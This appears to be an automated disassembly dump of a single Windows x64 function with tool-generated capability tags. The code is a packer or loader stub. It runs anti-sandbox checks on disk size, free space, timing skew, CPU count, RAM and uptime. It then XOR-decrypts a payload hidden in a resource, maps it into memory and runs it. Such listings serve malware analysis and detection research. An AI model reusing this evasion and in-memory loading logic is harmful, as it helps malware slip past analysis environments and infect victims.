Function at 0x140001450
Capabilities:
Check for time delay via gettickcount
Extract resource via kernel32 functions
Get common file path
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x410], rax
xor r13d, r13d
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], r13
mov edi, 1
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov r8d, edi
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r12d, r13d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400014c5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001524
mov qword [rsp + 0x38], r13
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 8
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x7405c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001524
mov rax, qword [rbp - 0x70]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x3c
jle 0x140001adc
xor r9d, r9d
lea r8, [rsp + 0x78]
xor edx, edx
lea rcx, [0x1400044f0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x14000155d
mov rax, qword [rsp + 0x78]
movabs rcx, 0xf00000000
and rax, 0xffffffffc0000000
cmp rax, rcx
jbe 0x140001adc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1f4
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1c2
jbe 0x140001adc
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x60], 2
jb 0x140001adc
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp - 0x48]
and rax, 0xfffffffffffffc00
cmp rax, 0x40000000
jb 0x140001adc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0xafe74
jb 0x140001adc
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x550], r14
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rbp - 0x66]
lea rcx, [rsp + 0x78]
imul r14d, eax, 0x3c
add r14w, word [rbp - 0x64]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rbp - 0x7e]
lea rdx, str.Warte
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
imul esi, eax, 0x3c
sub si, r14w
add si, word [rbp - 0x7c]
call fcn.140001b80
mov rcx, rax
mov edx, 0x1e
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._Sekunden
call fcn.140001b80
cmp si, 0x1e
je 0x14000167e
lea rcx, [rsp + 0x78]
movzx ebx, si
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rbp - 0x7e]
imul ecx, eax, 0x3c
sub cx, r14w
add cx, word [rbp - 0x7c]
movzx esi, cx
cmp cx, bx
jbe 0x140001678
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x14000450c]
call fcn.140001b80
cmp si, 0x1e
jne 0x140001640
mov r8d, 0x104
mov qword [rsp + 0x558], r15
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x68
mov rcx, rax
mov rbx, rax
lea r8d, [rdx - 0x5e]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x1400018cd
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400018cd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x1400018cd
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nkeySize:
mov ebx, eax
movzx esi, byte [rbx + r15 - 4]
call fcn.140001b80
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.loadSize:
sub ebx, esi
sub ebx, 4
call fcn.140001b80
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movsxd r13, ebx
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
test rax, rax
jne 0x1400017d1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.could_not_allocate_Memory_for_lpDecrypted
call fcn.140001b80
mov rcx, rax
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, edi
mov r15, qword [rsp + 0x558]
mov r14, qword [rsp + 0x550]
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140001f90
mov rbx, qword [rsp + 0x560]
add rsp, 0x520
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
mov r14, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x14000181f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.could_not_allocate_Memory_for_Key
call fcn.140001b80
mov rcx, rax
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001799
test r14, r14
je 0x14000186a
lea rdx, [r15 + r13]
mov r8, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Key:
call fcn.140001b80
xor ebx, ebx
nop dword [rax + rax]
movzx edx, byte [rbx + rsi]
lea rcx, str._02X
call fcn.140001020
inc rbx
cmp rbx, r14
jl 0x140001850
jmp 0x14000187d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Key:
call fcn.140001b80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test r13, r13
jle 0x1400018ca
xor r8d, r8d
mov rdx, r12
sub r15, r12
nop
movzx ecx, byte [r15 + rdx]
cmp r8, r14
jge 0x1400018b5
lea rax, [r8 + rsi]
inc r8
xor cl, byte [rax]
jmp 0x1400018ba
xor cl, byte [rsi]
mov r8, rdi
mov byte [rdx], cl
inc rdx
mov rax, rdx
sub rax, r12
cmp rax, r13
jl 0x1400018a0
xor r13d, r13d
mov rcx, r12
call fcn.140001320
mov rsi, rax
test rax, rax
je 0x140001799
movsxd r15, dword [rax + 0x3c]
mov r14, r13
add r15, rax
mov qword [rbp - 0x78], r13
mov r12d, r13d
cmp dword [r15 + 0x98], 0
je 0x140001a0f
movzx edx, di
mov r8d, 0x18
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
jne 0x140001926
inc edi
cmp edi, 3
jle 0x140001900
jmp 0x1400019be
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, r14
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x140001a0c
test edi, edi
je 0x140001a0c
lea rdx, [rbp + 0x200]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp - 0x10]
xor r8d, r8d
lea rdx, [0x140004510]
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x140001a0c
lea r8, [0x14000452c]
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 0
jne 0x140001a0c
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xorps xmm0, xmm0
mov dword [rsp + 0x40], 0x38
xor eax, eax
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x74], eax
lea rax, [rbp - 0x10]
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
call qword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov r14, rax
test rax, rax
je 0x140001a0f
lea rdx, [rbp - 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov r12d, eax
jmp 0x140001a0f
mov r14, r13
mov rdx, r15
mov rcx, rsi
call fcn.140001210
mov eax, dword [r15 + 0xb0]
test eax, eax
je 0x140001aac
mov rbx, rsi
sub rbx, qword [r15 + 0x30]
je 0x140001aac
cmp dword [rsi + rax], 0
lea r10, [rsi + rax]
je 0x140001aac
mov edi, 0xf000
mov r13d, 0xa000
nop dword [rax + rax]
mov eax, dword [r10 + 4]
lea r9, [r10 + 8]
mov r8d, 0
lea r11, [rax - 8]
shr r11, 1
je 0x140001aa3
nop word [rax + rax]
movzx eax, word [r9]
movzx ecx, ax
and cx, di
cmp r13w, cx
jne 0x140001a90
mov edx, dword [r10]
and eax, 0xfff
lea rcx, [rsi + rax]
add qword [rdx + rcx], rbx
inc r8d
add r9, 2
movsxd rax, r8d
cmp rax, r11
jb 0x140001a70
mov eax, dword [r10 + 4]
add r10, rax
cmp dword [r10], 0
jne 0x140001a50
mov eax, dword [r15 + 0x28]
add rax, rsi
call rax
test r12d, r12d
je 0x140001acf
mov rdx, qword [rbp - 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseActCtx]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x14000179b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nFAIL
call fcn.140001b80
mov rcx, rax
lea rdx, [0x140001de0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400017ab